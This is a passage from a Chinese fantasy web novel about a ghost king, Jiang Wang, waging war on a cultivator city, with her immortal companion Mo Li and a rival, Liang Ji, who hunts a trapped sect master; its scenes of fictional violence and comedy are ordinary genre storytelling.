那暄妍城会沦为主战场,是因为宿芳宫那个没脑子的宫主,成天叫嚣着什么剿鬼,主动挑衅,才被鬼王拿来当鸡杀。
他们听香呢?老实的很啊!中立的很啊!执法宗门听香楼是一群修合欢道的,世家大族也都是商贾出身,他们这儿最大的恶人可能也就是“奸商”了。
听香有钱,不屑使用类灵气那种低级能源,又大多是爱奢华,更不流行豢养鬼仆鬼侍这些晦气东西。再加上距暄妍遥远,几乎不做跟驱鬼功法有关的生意。
鬼王能盯上他们,真是大大的冤枉。
偏偏乔弥勒天天缩在绛楼里,面都不露一个,任由听香楼一盘散沙一样。
他们现在最怕的就是看见鬼。
以前也怕,但那单纯是物理上的膈应。
现在怕,却是怕后果。
因为现在这时候,就算真有鬼在大街上横行霸道,他们也只能忍着。鬼闲着没事踹他们一脚,他们也只能笑呵呵地供大爷一样,把鬼哄走。
他们不是杀不了一只两只鬼,而是万万不能给了鬼王江妄发动战争的借口。若是一不小心把战线拉过来,那真就是千古罪人了。
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江妄回头看了看宾馆富丽堂皇的大门,满脑子都是那翻腾的青纱。她抿了抿嘴,下意识舔舔唇角。
之前在房间里没留意,现在竟然发现,她的魂力强壮了些许。
陌离大补啊……
江妄自认为没有变态到为了这点儿好处去吃个人,但是吧……闲着没事可以让他放点血,也不是不行。
江妄端起笑容来,慢悠悠地逛着,逛着逛着就出了听香城。
心里还想着,看人家听香城晚上多繁华啊,等以后,她也给暄妍整成这样,热热闹闹的多好。
必须加快鬼类的社会化进程了,到时候肯定也热闹。
……
“陛下,有何吩咐。”一个女子突然出现在江妄面前。青色纸伞上移,露出一张冷冰冰的美人儿脸来。
她腰间坠着那块灵檀木,一身素蓝衣裙雅到极致,整个人像是化进了夜色里。
江妄的视觉不受黑夜限制,所以看地分明,不由在心里爆吹一波她大宝的美貌。
江妄一手握拳抵在唇边做咳嗽状,强行严肃道,
“我召的是你俩,路清嘉呢?”
江大宝立刻屈膝,
“回陛下,属下今日发了预告,您召我的时候鬼兵们正杀到一半。路清嘉无事,就说替我,让我先来见您。”
江妄点点头。也是,路清嘉实力本就在大宝之上,能替大宝与鬼兵贯通魂力也不意外。
可问题是……今天她召的是他们两个鬼啊?谁不来不都是少来一个?替什么替,他俩脑子有泡吧?
江妄表示,有被他俩蠢到。但她也只能默默忍耐。毕竟矮子里拔高个儿,这俩已经是鬼里最聪明的了。
还没等江妄说什么,江大宝先问了,
“陛下,我们杀到什么时候?”她不得不问一句,照这个架势杀下去,暄妍城怕是要没人了。
“您是否要属下直接屠城?”江大宝道。
“你想屠城了?”江妄笑笑。
“……属下没有。”江大宝摇摇头,“只是……”
“只是这样下去,早晚会把暄妍的修士杀光,这样做和直接屠城没什么区别,而且屠城还会产生一定的威慑力。你想说这个对吧?”江妄接上了她的话。
“是。”江大宝答。听到陛下直接把自己的想法说了出来,她就知道陛下这么做果然另有安排。她不该多嘴一问的。
“不会的。”江妄说道,“你不会把暄妍城的人杀光。”
江妄温和地一笑,
“毕竟有个道理叫‘物竞天择,适者生存’。
“你知道历史上的末法时期吗?学不会主动引气入体的人就被自然法则淘汰了。再往前数,百年前,北界的大门派神枪阁、藏经会,因为拒绝加入联盟,逆大势而为,最后逐渐衰败了。
今天的暄妍城也是一样。
改变几代人根深蒂固的认知不容易,可能需要几十年上百年的时间。
我可没有那么多时间等他们。现在我就要让他们知道,谁再不转变观念,把鬼类当作平等主体来看,就得被淘汰。”
江妄勾着唇角,一双漆黑的眼珠泛着光亮,在像是蛰伏在浓重夜色里的兽瞳,
“大宝啊,你太小看人类了。在死亡和恐惧面前,多的是人愿意改变。
也许千百年之后,那些人的后代在史书里读到我的时候,还要
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感谢我帮他们的祖辈,进化了腐朽的思想。”
暄妍城修习驱鬼之术,可以说是整个南界最看不起鬼类,最爱把鬼类踩在脚下的地区。
在暄妍人的眼里,鬼,和灵石,和动物没什么区别。
可也正是因为他们这样的功法,暄妍城也是整个南界和鬼类打交道最多的地区。不像其他地区的人,看见个鬼就如临大敌,吓个半死,暄妍的民众对各种鬼物司空见惯。
看宿芳宫的襄竹宫就知道了,那里面物种千奇百怪,天然形成的,人工培育的,反正什么都有。很多连江妄这个鬼王都是第一次见。
氛围多好啊。
只要暄妍人的观念扭转了,暄妍城就是第一个可以实现人鬼共存的城市。
江妄可以把暄妍变成一个名副其实的鬼城。
至于鬼界入驻会影响宿芳宫的利益?谁让宿芳宫先来惹事的。
那暄妍死了那么多人?
……遮掩在那些详实完备的律法之下的,只是能达到平衡的相对公平,这到底还是个强者为尊的时代。
革命总是要流血的,江妄表示,自己会记得这些“先锋”。
这些都不是问题。现在江妄最担心的是姬瀛丘跟她说的,“即时魔化”那种可以操控鬼类记忆的手段。
可是开弓没有回头箭,既然打了,便不是她江妄可以叫停的。而且宿芳宫眼看着暄妍被打成这样,也没有拿出那种手段对付他们,就说明短时期内,他们拿不出来。
所以眼下最重要的是速战速决,架空宿芳宫,让暄妍城彻底处于鬼界控制之下。
其余的,走一步看一步吧。
……
“陛下英明!”江大宝一边听着江妄的分析,一边频频点头。
就在这二江说话时,一个男鬼凭空出现。
“呦,来了。要见鬼相一面还真不容易。”江妄阴阳道。
路清嘉行了一礼,直起身子后不认同地道,
“陛下,什么‘鬼相’‘鬼将’的,不是您说什么我俩得霸气一点,才往外传的嘛。我可不喜欢这个称呼。”
他好像不怕江妄,竟然当面就吐槽起来江妄的中二病。说罢,他抬起一只苍白得过分的手,摘下脸上的银翼面具,露出一张清润的俊脸来。
“还有那个奇奇怪怪的预告,每次我看姐姐去发,我都觉得……”
“闭嘴!”一声冷厉的女声止住了路清嘉嘟嘟囔囔的抱怨。
“竟敢对陛下不敬?”是江大宝出口,她一副清冷的眉眼横过去,倒是吓人的很。
江妄看看这个,又看看那个,觉得挺稀奇。她的大宝一向沉稳高冷,从没见过她这副凶样儿。
再看路清嘉被骂后,像个鹌鹑一样缩起了脖子……
且不说这二位被外界传成了什么凶神恶煞、阴险奸佞的模样。
单是现在,这傻的分明,长得小白脸儿一样的路清嘉,跟什么牵尸殿主,什么前无古人后无来者的狼灭……额,不能说一模一样吧,根本就毫不相干。
江妄不死心,“那个,路清嘉啊。”
路清嘉一双大眼睛好奇地看了过来,好像脑袋上顶了几个问号,在说“叫我干嘛”。
江妄:……
她觉得吧,这个路清嘉应该不是那个路清嘉。
“你这名字是哪三个字?”她到底还是问了。
路清嘉不明所以,磕磕巴巴地回答道,
“嗯,路是上路的路,清是清明的清,嘉……”他瞪着那双大眼睛想了一会儿,可能是没找到合适的词语,竟说道,
“嘉是路清嘉的嘉。”
……
什么鬼?这都什么组词?江妄满头黑线,没文化真可怕。
行叭,还真是那位大名鼎鼎的牵尸殿主。
真看不出来啊,你这……殿主啊,你这堕落得比她江妄还可怕啊。
她江妄就算化鬼了,高低也是个霸气的鬼王,你这……一言难尽。
她算是明白了,为什么这俩悖论鬼能忘记生前的一切记忆,甚至忘记化鬼执念了。这不是有一位操控记忆的高手在嘛。
不过,就看他俩,尤其是路清嘉现在这个状况。江妄简评:还不如去投胎。
江妄惋惜的脑袋都要摇掉了。要是她活着的时候能认识路清嘉,高低跟他喝个三天三夜,结拜兄弟。
现在的路清嘉嘛,叫他一句二宝,江妄都嫌多。
“行了。叫你们来是有事要你们去查。”江妄勉强收起遗憾的神色。
“但请陛下吩咐。”她的大宝优雅拱手。
“陛下吩咐。”她的二宝像个猴子在作揖。
江妄撇过头,眼不见心不烦。
“暄妍的事你们做的很好,按部就班继续进行,有任何情况及时和我说。”她先给予了两个宝工作上的肯定,才道,
“现在你们让手下的鬼去查,十年前或者更早,听香城有没有一个大家族,姓梁。梁家有位少爷,叫梁霁。
我要知道关于这个梁霁的所有信息。
现在有两条关于这个梁霁的线索,也许对你们有帮助。
一、植物类的妖;二、绛楼弥勒,乔洒松。”
28. 第 28 章
寅时未过,天色压得暗暗的,硬是把琉璃城墙上的七种华彩变成了冷质的色调,失了白日的光华。倒像是粗粝的玻璃,悄无声息地把城内外分隔开,叫远方的人分不清城门在哪。
江妄刚把七曜阵撕开一个小口,脑袋伸进了听香城的领空范围,就因为看见了城门口的一个人,差点手一抖把阵法的口子合上,直接把鬼头夹掉。
一人一身红衣,端端正正地站在琉璃城墙内的墙根底下。不知道为什么也没人赶他,守卫站在一旁像是看不见他一样。
如果仅是这样,倒也没有什么。
只是,这个一身红衣的人……他是陌离啊,陌离啊!
江妄瞳孔地震,甚至想缩回脑袋,转身就跑。这个听香城太可怕了,不进也罢。
可惜,晚了。
那位仙君似有所感,抬起头来,隔着江妄所有的伪装,好像真的看见了她一样,和她对上了目光。
他身上红衣被灰蓝的光线染得冰冷,透不出半点热烈颜色本身的暖。不知道是站在了琉璃城墙的哪里,他抬起头时,有一束幽蓝的光斑打在他的脸上,那刀刻般的俊脸竟显得铅白。比江妄都像个鬼。
……
江妄不动声色看向别处,一脸淡定地继续刚才的动作。她把阵法的口子撕的更大些,纵身一跃轻飘落进城内,然后没有任何停顿,大大方方地往城中飘去。
现在不过黎明时分,慢节奏的听香城正是沉睡的时候,四处一片悄然。
江妄越飘越偏,不一会儿就精准找到了一个相当隐蔽的地方。她刚一凝实,就听到了身后清晰的脚步声。
唉。
叹了一口气,江妄挂起一个笑容,才转过身来。
结果……
“噗,”江妄连忙按抬起手住自己抽动的嘴角,和自己斗争了一会儿后,最后到底是没忍住破功了,
“哈哈哈哈哈哈哈哈哈哈哈……”
刚才在空中往下看还不这么直观。
她面前的公子,穿着一身连个束腰都没有的大红衣裳,衣领高高直戳下巴,过长的衣摆垂直堆在地上,他双手又自然下垂,活像一堵方方正正的红板上挂了个脑袋。
然而最喜感的不是这脑袋上顶着个看着就很重的大金冠,方正的肩上卡着个圆溜溜的金项圈。
而是,他这突兀的脑袋上,完美的五官搭配冷冽的神情,简直生硬至极,像是人为组装后硬安上去的一般。
实在是……搞笑极了。
不难看出来学的是谁。
但问题是,他学习的对象本来品味就很不正常,再经过他这地狱级别的“改良”,最后的效果,可以说就很行为艺术了。
江妄笑得前仰后合,好容易缓过来,便掩唇嘲笑道,
“呦,这是哪家的新娘子啊,穿这么喜庆。”
说喜庆可真是反话,江妄心想。这样的光线下,一身阴凉的红,戴着形状诡异的金饰,还是这样一副呆若木鸡的神情……若是新娘那绝对是鬼新娘。
本来只是一句玩笑话。
哪想对面那颗突兀脑袋上的生硬五官,好像神不知鬼不觉地重组了一般,竟让人明显看出来他软了神情,
“你的。”
他如是说。
……
好吧。鬼新娘。
“如此,娘子可随我回家?”江妄好像很开心地笑了笑。
她伸出一只苍白的手,虚虚抚上了陌离的脸,然后,她注意到了陌离唇边上有个不怎么明显的伤口。
拇指指腹无意识地轻轻磨蹭着那个伤口,江妄反应过来的时候,她指尖已有魂力温柔地渗入陌离的皮肤。
然后,“哗”,小小的一声,那伤口被魂力横向撕开。殷红的血珠争先恐后地涌了出来,汇成一股,顺着江妄的手滴了下去。
他却像是感觉不到痛一样,用流着血的唇角轻轻地蹭了下江妄的手。
不浅的伤口横在他嘴角,使得他咧开嘴说话的时候,好像在贴着江妄的手笑一样,
“回家。”
说罢,陌离轻轻把江妄的手拉下来,又施了个清洁术,看着那只白皙的手上没了血迹才算满意。
他一手轻托着江妄的手,另一手中捏着一条凭空出现的月白色飘带。
飘带只绕了江妄的手腕一圈就被陌离系上,留下长长的一段。他放开了江妄的手,只轻轻攥着飘带的尾。
飘带系在江妄手上那一瞬间,一个几乎透明的纱罩便笼罩在了江妄的发顶衣裙上,银光点点流转,晶莹好看。
江妄抬起系着飘带的手,在眼前晃了晃,她没问这是什么,只道,
“公子这是拿我当狗拴?”
……陌离今天本就生硬得诡异的脸,此刻隐隐有裂开的趋势。
“此物名‘海情’,是鲛纱制成,可防风吹日晒。”他缓了口气,勉强解释说。
“以后,你不用戴着那顶帷帽了。”
“我戴着帷帽可不光是为了防晒。”江妄笑着说。
陌离看着她,
“无妨。你手里拿着遥岑主峰的腰牌,不想遮面时候,便是遥岑宗的师姐。”
……
你这么随便,遥岑宗知道吗?
“公子你真好!”江妄登时眯起眼睛,露出一个极灿烂的笑来。
天边的光适时透了过来,混着空气,把黎明时的灰蓝提亮了不止一个度。
女孩的乌发黑眸都滚着新生的光晕,亮的厉害。她白色的衣裙像是裹了层银粉,和她明媚的笑容一起,源源不断地散发着光芒。
陌离攥紧了手中的飘带尾巴,生怕一不留神它就滑掉了。
我不好。一点都不好。
……
绛楼。熙鹤堂书房。
一个肥胖的锦衣男子歪斜地侧身靠在椅子上,他略微弓着身子低着头,一只猪爪一样的厚手无力地搭在他面前的空桌台上。
随着灵光阵上的最后一块灵石失去光芒,整个书房唯一的那点儿微弱光线也开始一跳一跳地,最后啪一下熄灭了。
乔洒松却仍保持那个他认为安全的姿势,费力把肥胖的身躯蜷在椅子上。灵木桌台四周的地面上,那些千万年难得一见的珍奇宝贝,不知道为什么被摔砸在地上,破碎地堆在一起,可在这昏暗中仍然难掩光泽,顽强地彰示自己的存在。
桌上明珠闪烁个不停,乔洒松抬头。
一道女声传入,尽管声音的主人刻意压着嗓子说话,也难掩音色本身的娇怯。
“香主,是我……绛楼的基阵已经修复。您……能听见我说话吗?”
乔洒松盯了那明珠一阵,又低下头,并不做声。
“我对外称您在闭关,是冲击化神巅峰的要紧关头。听香楼上下虽没有异动,但总是人心惶惶的……您如果能听到说甜甜话,可一定要告诉甜甜,现在到底……到底该怎么办啊……”说道后面已是抽抽噎噎的哭泣声了。
听着那哀切无助的哭声,乔洒松肥厚肿胀的眼皮动了动,许久后,他终于开口。
“好了。”他支起身子,“你走吧。离开听香城。”
“……香主?”那哭声一顿,随后不顾还没倒上来气就惊喜的喊道,
“香主!香主真的是您!您快告诉我现在该怎么办?这些日子我一个人……我实在是不行的……”
“那就走吧。没有能斗过那些豺狼虎豹接替我的信心的话。”乔洒松盯着那颗昏暗里唯一亮着的明珠,
“……离开了听香楼的庇护,修合欢道太容易被打上邪修的标签。
可以的话,换条道修吧。”
能有个正常的家庭最好,没有的话,就一个人浪迹天涯。换条道,做个自由的人,像我梦里千百次设想过的那样。
“香主……”李甜甜低低唤了一声,突然她情绪激动了起来,“我不走!香主被那鬼王摆了一道困在自己的领域里,灵力失效,彻底与外界隔绝。您何时受过这样的委屈?我要等您出来,陪您好好地算这一笔账!”
“您什么都不必说,有这明珠传音,我还能陪您说说话。要是我也走了……就再没人知道您的真实处境了……”
……
“我不多劝你。你是个聪明的,会自己权衡好。但你若执意不走,就再帮我做件事,此事若成,我们也许还有转机。”
“但请香主吩咐。”李甜甜道。
就是死,她也要和乔洒松死在一起,和她的风光权势死在一起。她李甜甜能走到今天,总来没临阵脱逃过,一次又一次,她总是敢拼尽一切去赌的。
“拿着厚礼去遥岑宗,代表听香城,拜见遥岑宗宗主原昭鸿。请他支援,捉拿邪修梁霁。”
“梁霁?那就是要对香主不利的人吗?”离甜甜急忙追问。
“此人不急,一会儿我同你细讲。下面的事才是重点,你可要记好了。”明珠映在乔洒松一双细小的眼睛里,散出他满眼的厉光。哪怕此时受困,面目中仍有长年处于上位积攒的威势。
“你只再问原宗主一句:遥岑宗可知他们的陌离仙君与鬼王日夜厮混这件事?”
……
乔洒松自是一开始就认出了那鬼王手里的,是遥岑宗主峰陌离仙君的腰牌。可他没往敢想是陌离亲临了,只以为是受宠的小辈外出,主峰的人不放心,特意拿来仙君腰牌护持。
腰牌之所以能代表身份,是因为它足够独一无二,相当于主人一缕神魂的外放表达。
既是神魂一缕,腰牌主人自是能时常感应腰牌持有者的情况,故而很多宗门家族在小辈外出历练的时候,会给予长辈腰牌护身。
乔洒松就是这么想的,以为那鬼王是遥岑主峰的核心弟子,态度才会那么客气。再加上那
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位“师弟”在他看来只是元婴修为,就没往陌离仙君身上想。
可现在他还有什么不明白的?
被困在自己的领域里,起初他愤怒不已,又时刻惊惧怕那疯子梁霁追来。可渐渐地,在这静谧无比的领域里,他也明白了愤怒与恐惧没有任何意义。
而且鬼王封锁熙鹤堂也未曾不是一件好事。但凡有人闯入,她的封锁被破,她自然第一个知晓。届时就算他不敌,只要鬼王及时赶来,他乔洒松便能活命。毕竟她那么想弄清这些陈年的污糟恩怨。
冷静下来后,一些事情就看得清楚了。堂堂鬼王怎么会和遥岑宗一个普通弟子走那么近?乔洒松脑海里掠过那二人相处时的画面……再想起那样一副极致俊美的面容,他突然就明白了:哪里有什么师弟呢?分明就是陌离仙君本人!
他二人明明从未刻意遮掩,他却从没深想过,真是可笑。
如今摆在他面前的,前后左右,都是一个死字。遥岑宗,鬼王,梁霁,落在哪个手里都是死,区别不过是怎么死和几时死。
只求一条生路,遥岑信了甜甜的,要了陌离仙君回去,让鬼王移开在听香楼这边的视线。他便借机逃出鬼王的封锁,在梁霁发现之前改头换面,再不回来。
乔家没了,他再也不用当什么绛楼弥勒,他再不修合欢道,也不论修为寿数,后半生有几天是几天。他要体面又自由的活着。
明珠暗了下去,是李甜甜领命离去了。书房里又昏暗下来。
乔洒松疲倦地长叹一声,滚圆的脑袋靠在椅背上,刚刚合上眼皮。
突然,他酷似弥勒的大耳朵动了动,整个人一下子从椅背上弹起,左右回头查看起来。
没有人。
昏暗的空间里,只有地上那些珍宝的光泽幽幽闪闪。
一切安静如旧,安静到乔洒松的呼吸都有回声一般,好像刚才那点窸窣声不过是恐惧的人产生的错觉。
乔洒松转回了头,缓缓低下,他袖子垂下,遮住了他手里的动作。
然后在某一瞬间,他以极快的速度掷出了一个尖头物品。只听那物品掷出的方向,又发出了窸窣声,像是有人为了避开而闪身的声音。
乔洒松的灵力在江妄的封锁之下,能使出的不过十分之一罢了。他只好凝聚仅有的灵力附着在手边物件上,进行攻击。
可惜,被躲过了。
乔洒松用力压下心脏咚咚咚的剧烈跳动,再一次凝聚灵力。可哪怕他的灵脉已经产生了灼烧般的疼痛,他手中的灵力也没有聚集到足够用于攻击的量。
不行……
还是不行……
忽略手心的冷汗,乔洒松疯了一般甩手,不知道第几次地重新凝聚灵力。“噗”一口鲜血再也压不住了,他却直接把没吐出的血咽了下去,继续手中的动作。
“啊哈哈哈哈哈哈哈哈哈……”
那暗处的人好像看够了绛楼弥勒这狼狈的笑话,终于忍不住大笑出声。那笑声谈不上多尖利,却比魔号鬼哭还瘆人几分,在这封锁的空间里与其回声相和,足以让听到的人精神崩溃。
乔洒松手中动作一顿,那只凝聚灵力的手开始不住颤抖起来,他只好用另一只颤抖得不那么剧烈的手,抓紧了手腕,强制镇定般坐直了身子。
“阁下不请自来所为何事?”乔洒松大声质问道,好像声音越大底气就越足一般,“你也该看见这封锁了,是本座与鬼王相约今夜议事,她特意为我设下的。阁下若是误闯还请速速离开!”
“啧,”那暗处的人没接话,但那嘲讽的一个气声,像一把锋利的刀,把乔洒松最后的伪装也无情剖开。
“哒,哒,哒,哒……”那人向乔洒松的方向走了四步,时而歪歪头避开桥洒松慌张丢过来的各种或附着灵力或不附着的物件。
他避开乔洒松强弩之末般的攻击,脚下却稳得很,脚步声始终保持着统一的节奏,四声“哒”活活把乔洒松的心脏踩成了一滩烂泥。
终于,他在乔洒松面前站定,好像在黑暗中不损视线般,他直直地盯着面前喘着粗气,因浑身灵脉爆裂而一身腥红的乔弥勒。
“啪。”随着一个响指打响,书房里燃起了幽绿色的火焰。虽诡异至极,但到底是能看得清对面人的脸了。
“……”双臂无力,乔洒松再也控制不住身体的颤抖,他近乎呆愣地看着那少年清秀的面容。
脖子好像生锈了一般动弹不得,乔洒松只好勉强转动眼珠,把视线转移到远处墙壁上江妄留下的魂力封锁。
那水波一样的魂力仍然包裹着整个书房。完好,无损。
他……他是是怎么进来的?
一股冷意像毒蛇一般后知后觉爬上了他的后脑。
满口牙齿叩击,传到他的鼓膜,乔洒松的耳朵在一片杂音里听到自己在说,
“……梁……霁……”
29. 第 29 章
嗡轰……嗡……
雄浑的钟声回荡在空气中,扫把被一个小弟子扔在地上,激起一片尘土。
那个麻布衣衫的小弟子抬起头,呆呆地看着天边雪白的流云。
“喂!你干什么呢?发呆?”
小弟子被喊得一激灵,连忙低下头看声音发出的地方。出声叫他的同伴正两手拖抱着尸体,一脸不满地看着他。
他赶紧回神,把扫把从灰尘里扒拉出来。
是啊,谁来当襄竹长老和他们这些外门弟子有什么关系呢?
他修为低微,在这宿芳宫里连外门弟子都不算,为了能换取微薄的晶石,只能重复地干这些活计。比如,清扫战场。
而如今这暄妍城,哪里又不是战场呢?
钟声还在不断轰响,可这里的人都麻木地忙碌着,并没有几个会放下手中事物仰望钟声传来的地方——那个凌驾四宫之上,巍峨耸立的宫室。
四角攒尖的顶,宝顶硕大雕刻繁复,顺着四条垂脊的弧度往下,刻着梅、兰、竹、菊四种花样的风铃坠在四方飞檐之下,在风中轻摇。
飞行器停下,一个身着礼服的男子转瞬落在台阶的红毯上。
他没有立刻向前走,而是抬头看了看这亭台中间的匾额,“尽揽华”。
没有任何征兆地,男人不顾形象地抱住了自己的脑袋,两只压着墨竹暗纹的衣袖空空甩荡在他额前。
只见他摇头大笑出声,
“哈哈哈哈狗屁的尽揽华,为什么不是尽揽暄妍,哦哦不!我要把它改成,尽揽天下!哈哈哈哈哈哈哈哈哈……”
那红毯延伸的尽头,门内,宿芳宫宫主坐在上位,脸色难看至极。
除了宫主之外,大殿上只余三人。宫主右下坐着一个面向刻薄的男子,而他的左下,则坐着一个看着不算年轻但依旧貌美的女子,和一个扶额昏睡看不清面容的男子。
那女子怒而起身,“师兄!”她指着门外台阶上那个放浪形骸的男人,“这般不堪之人,怎可与我等并肩?!”
“醉梅!”宫主叫了她一声,制止她的不满。但只要观他白花花须发颤动的频率,就也知他被那人气得不轻。
反倒是那刻薄像的男子安慰似的给宫主递了个眼色。
直到台阶上的男子笑够了,几个闪身,瞬间就出现在了大殿上。他身子前倾,好容易站稳,空旷的大殿骤然被无比浓郁的鬼气席卷。
那明明是人,有着人的温热脉息。可为什么,那血肉的身躯里,却不断往外散发着不亚于厉鬼的鬼气?!
待看清了来人,被宫主称为醉梅的女子倒抽了一口凉气。
那形状疯癫的男子,竟是没有蓄发,只有一头新生出来的短短发茬,而最可怖的是,他那头皮上卧着长长短短的肉色伤疤,有的甚至延伸到脸侧。
锋利的颌骨,尖如锥子的脸型,灰粉唇边挂着的诡笑,过于苍白的面色和乌青的眼窝,这样一张阴煞的面庞。在他抬起眼睛看向主位的瞬间,一双金瞳彻底暴露,让人发觉,他竟有着神明般的眼眸。
他伸出缩在袖子里的双手,竟行了个标准的礼,
“季晞,拜见宫主。”
“起来吧。”老头宫主一脸端肃,
“今暄妍风雨飘摇,实值生死存亡之际,任尔为襄竹之主,望重建襄竹,执本心,操旧业,兴其为宿芳四宫之首。”
宫主话音一落,那个刻薄像的男子,也就是翡菊长老,边茂。他起身鼓掌走至季晞身侧,
“襄竹长老,真是恭喜了。”
不知道哪个字没说对,那金眸噔一下看向他,旋即嗤笑道,“襄竹?”
“上一任也叫襄竹,大上一任也叫襄竹,你这是叫谁呢?沈裘也就算了,可别拿我跟林峥那个废物相提并论。
记住了,下辈子有幸再见到我,要叫,‘季仙君’。”
说罢,他直接出手扭断了边茂的脖子。
事情发生在一瞬间,宫主反应过来的时候,翡菊已经断气了,被季晞松手丢在地上。
“季晞!!你在做什么?!”宫主从高位上飞身下,他抓起边茂的尸体疯狂输入灵力,却是无济于事了。
边茂虽不是化神,却也是元婴境大圆满的高手,是宿芳四宫之一的主人。就这么被季晞一把掐死,真是有够草率的。
那从一开始就扶额睡着的男子终于睁开眼睛,认真看向这个新襄竹。
那大庭广众之下行凶的人,竟睁着那双金眸,带着笑意道,
“宫主又何须不舍呢?如今翡菊宫做的那些勾当,和之前被灭了的襄竹宫也没什么区别,不都是驱鬼炼魂那些?
宫主既寄希望于我,相信我有最正宗的手段。那么振兴宿芳宫,无论什么襄竹也好,翡菊也好,有一个便够了不是吗?
我也无须重修襄竹的宫室,且那么荒着吧。今晚,我就去他宫里睡!”季晞指着地上没了气息的边茂,
“从现在开始,他的财产就是我的财产,他的弟子就是我的弟子,他的媳妇儿……额这个算了,总之,我会为宿芳宫贡献力量的!哈哈哈……”
醉梅听不下去了,蓦地站起,哼了一声只道“无耻”,便转身走了。
终于睡醒了的男人,伸了个懒腰走过来,随手拍了下季晞的肩,被躲过也不介意。
他语调松散,没有半点战争时期该有的紧张,“棘兰宫,沈长明。”
这位现任的棘兰长老十分简洁地介绍了一下自己,说了句有事找他就扬长而去了。
人都走了个干净,只剩宫主费力站起,颤抖着问,“你杀了他,怎么拿到定期的解药?”
“他的一切都是我的了,我有的是办法知道。再说了,不解又怎样?那点儿痛苦拿来威胁我?”那对金瞳居高临下地睨着地上的尸体,
“边茂,你的毒简直,弱爆了。”
--
“啪。”
江妄一脚踏在人家柜台上,“夺少!?你说夺少?”
卖家急忙给柜台封上一层防爆符,然后抬头看着江妄,微笑得比江妄这个万年假笑王还标准,“二百五十高阶灵石呢,亲亲。”
“你们坑鬼呢?!”
卖家微笑,抬手示意他们金光闪闪的招牌,“亲亲,我们可是珍宝阁,城内连锁三家,一直都是这个价位哦。”
“一块破晶石,你们加个托,随便刻几道咒,你卖二百五?”
“是的呢。”
“……”怎么感觉怪怪的?
“我们这边不支持议价呢,亲亲要是不喜欢,可以去别家看看呢。”
陌离捏着海情的尾巴,也能感觉到飘带随着女孩手臂的动作上下浮动,他轻轻地扯了下海情,动作轻到不能再轻。
偏江妄感觉到了,她头也没回,只把手向后挥动了一下,示意陌离这种傻大款儿不要影响她发挥。
“我要卖这个蝴蝶,包给我,马上。”江妄掏出五块晶石扔在柜台上,一双漆黑的眼瞳死死盯着人家,再次强调道。
柜台后的小哥脸微笑得整张脸都在抽搐,“亲亲,你这是什么意思呢?我们这边不支持强买强卖的呢。”
唰,陌离手中减翠一半剑身弹出剑鞘,元婴的威压很适度地显露出来。
卖家驻店的高手在一瞬间现身查看,然后对着那个货员小哥摇了摇头,意思就是能不惹就别惹了。
小哥收到许可信号,放任早就软得像面条一样的腿,直接趴在柜台上,脸正对着江妄的鞋底。心里想着,我真是全南界最伟大的员工了,维持品牌形象直到最后一刻……
江妄回头瞪了陌离一眼,一把把减翠塞回剑鞘,“你干嘛?”
陌离:“……帮你卖蝴蝶戒指。”他不是没有高阶灵石,相反,他一点儿都不缺这东西。可她好像就想用五颗晶石买下,那个人又拒绝强买强卖……所以,他才……
那个小哥要是能听见陌离的心声,怕是会气得当场吐血三升。他还知道五颗晶石是强买强卖啊!他还知道……呜呜呜
“去去去,别影响我讲价。”江妄一巴掌挥开陌离,换了一条腿踩柜台,正要以理服人让无良卖家接受合理的价格。
那位小哥撑着身子从柜台上爬起来,以最快的速度掏出那个蝴蝶戒指包好怼在江妄怀里,然后竹筒倒豆子般,
“诶呦亲亲,您是本店今日第二百五十位顾客,正好与戒指价格相同,这样的幸运,本店便将戒指赠送与您,祝您生活愉快。”
江妄:……?
江妄当场就拆开了包装,囫囵套在自己中指上,对着光线来回调整着手的姿势,明显是喜欢地不得了。然后,差点被门槛绊倒。
就是这一下,不知道从哪里出来的,一个血球一样的东西飞过来扒在了江妄脸上……
感觉着脸颊湿漉漉的一根根的毛绒触感,江妄意识到,这可
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能是某种昆虫……
啊。啊啊啊啊啊啊。。。
于是,她一激灵,浑身鬼气失去控制瞬间逸散开来,活活把珍宝阁的两扇门震了下来。
“江妄,”陌离稳住她身形之后,立刻把江妄脸上的不知名物种抓了下来。
“没事,无毒。”这位哥一脸淡定地捏着蜘蛛的一条毛腿,看着它往下扑簌簌地滴血块,得出结论。
陌离给她施清洁术,江妄也收敛好了气息。她自己站好,回头一脸抱歉地对着吓傻了的一众店员,然后她,又掏出了她那五块晶石。
众店员:……
正午时分,阳光正烈,本该是喧嚣的街道,竟在此刻静得连掉根针都能听得见。
江妄倒是一如往昔的厚脸皮,好像什么都没发生一般,跨过那不长眼的门槛,大步流星地走到街上去。
然后肉眼可见原本卡顿了的人群,轰地一下作鸟兽散。
江妄不在意地撇撇嘴,只一脸深仇大恨般地看着那血蜘蛛的来处。
宽阔的大街上,只剩下两个穿着缃楼服饰的听香楼弟子,他们两人正架着一个穿着单衣,垂着头披头散发的女子。
那女子浅色的单衣被鲜红的血液裹满,那血迹蔓到地面上。
可江妄一看,也被小小地惊着了一下。
那地上哪里单是血迹,分明夹杂着通红的肉块。再回头看着陌离手里的毛腿蜘蛛像是从血肉里钻出来的模样……
我去。这什么玩意儿?
江妄顿时就来了兴趣,当即向那两个弟子走去,并在那两个弟子满脸犹豫地要制止她之前,亮出了之前李甜甜给他们的那个,绛楼金露阁的解阵瓷瓶。
“这人现在是我的了,对吧?”
那两个弟子互相看看,
“这位阁下,您不要再向前了。纵然鬼界声势浩大,可我听香未必无人。这人,是我们楼主的……你是带不走……”
江妄一脸微笑地打断了他们,
“这跟鬼不鬼的有什么关系?你们看好,这可是绛楼的瓷瓶,我是弥勒的座上宾。我且问你们,在你们听香楼,是绛楼大还是缃楼大?是乔香主大,还是随便什么楼主大?”
“这……”
“而且,睁大你们的狗眼看清楚了,我是谁。”江妄嚣张无比地说,“何必多此一举呢?”
……
被江妄那双点漆的黑眸钉在原地,突然意识到了什么,那两人一激灵,手中架着的那血捞出来一般的女子就被松开了。他们颤抖着囫囵对江妄行了个礼,转身就跑。
哪料到,就在这电光火石之间,那刚刚奄奄一息的女子,竟鬼魅一般突然跃起,扑向那二人的背影。
就在她扑的动作同时,她把头仰到一个不可思议的角度,下一瞬,只见她的五官肉眼可见地扭曲黏连了起来,一堆黑色的咒文从她七窍中流出,以迅疾的速度,从后心穿透了那两个弟子的身体。
“吧唧”两声,那两个弟子瞬间倒地,死得不能再死了。
而那个女子也随着咒文飞出,彻底脱力,软倒在地上。
江妄在旁边看得是津津有味,也不插手那女子杀人,还有心情扭头调侃陌离。
